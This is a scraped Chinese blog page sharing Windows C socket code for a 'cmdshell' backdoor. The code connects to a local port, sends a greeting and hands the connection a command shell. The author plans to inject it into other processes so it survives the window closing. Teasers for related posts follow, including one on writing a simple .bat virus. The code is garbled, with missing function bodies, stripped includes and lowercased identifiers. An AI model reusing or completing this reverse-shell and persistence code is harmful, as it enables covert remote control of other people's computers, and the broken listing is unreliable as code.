最簡單的cmd 8 19

2021-09-30 04:40:25 字數 914 閱讀 6847

#include

#include

#pragma comment(lib, "ws2_32.lib")

int  cmdshell(socket s)

if ( lobyte( wsadata.wversion ) != 2 ||

hibyte( wsadata.wversion ) != 2 )

socket s=wsasocket(af_inet,sock_stream,ipproto_tcp,null,0,0);

if (invalid_socket==s)

sockaddr_in saddr;

saddr.sin_family=af_inet;

saddr.sin_port=htons(1000);

saddr.sin_addr.s_un.s_addr= inet_addr("127.0.0.1");

int rev=connect(s,(sockaddr*) &saddr,sizeof(saddr));

if (socket_error==rev)

char buf[512]="歡迎使用這個小東西!/n";

rev=send(s,buf,strlen(buf),0);

if (socket_error==rev)

cmdshell(s);

closesocket(s);

wsacleanup(); //加了這兩句,視窗退出的時候會自動關閉視窗!!

return 0;

}//為什麼將cmdshell與main順序換一下,就會有亂碼產生?????

另外,在解決上面問題的基礎上,這個**目前還需要做如下的完善:要插入其他程序,否則,1:直接執行這個程式後關閉視窗,2:在命令列下執行這個程式,然後退出命令列。在上面兩種情況下,這個程式會自己主動結束,下一步要搞定這個東西。

搭配例項的常見cmd命令 最簡單bat病毒編寫

cmd命令如下 echo 1 1.txt 覆蓋1到1.txt到當前目錄 echo 114514 1.txt 追加寫入1到1.txt到當前目錄 dir 顯示當前目錄檔案 d 進入d盤 cd.進入當前目錄 cd 進入上一級目錄 cd 資料夾名 進入該資料夾 tree 資料夾 顯示當前資料夾的結構 描述可...

最簡單的加密

最簡單的加密 package com.util 類 介面的目的 作用 功能 繼承於何種父類,實現的介面 實現的演算法 使用方法 示例程式.version v1.0 2012 3 22 author xiahui public class encrypt system.out.print 加密 s n...

最簡單的makefile

hello.c的內容如下 include int main makefile 的內容如下 hello.exe hello.o gcc o hello.exe hello.o hello.o hello.c gcc c hello.c clean rm hello.o hello.exe window...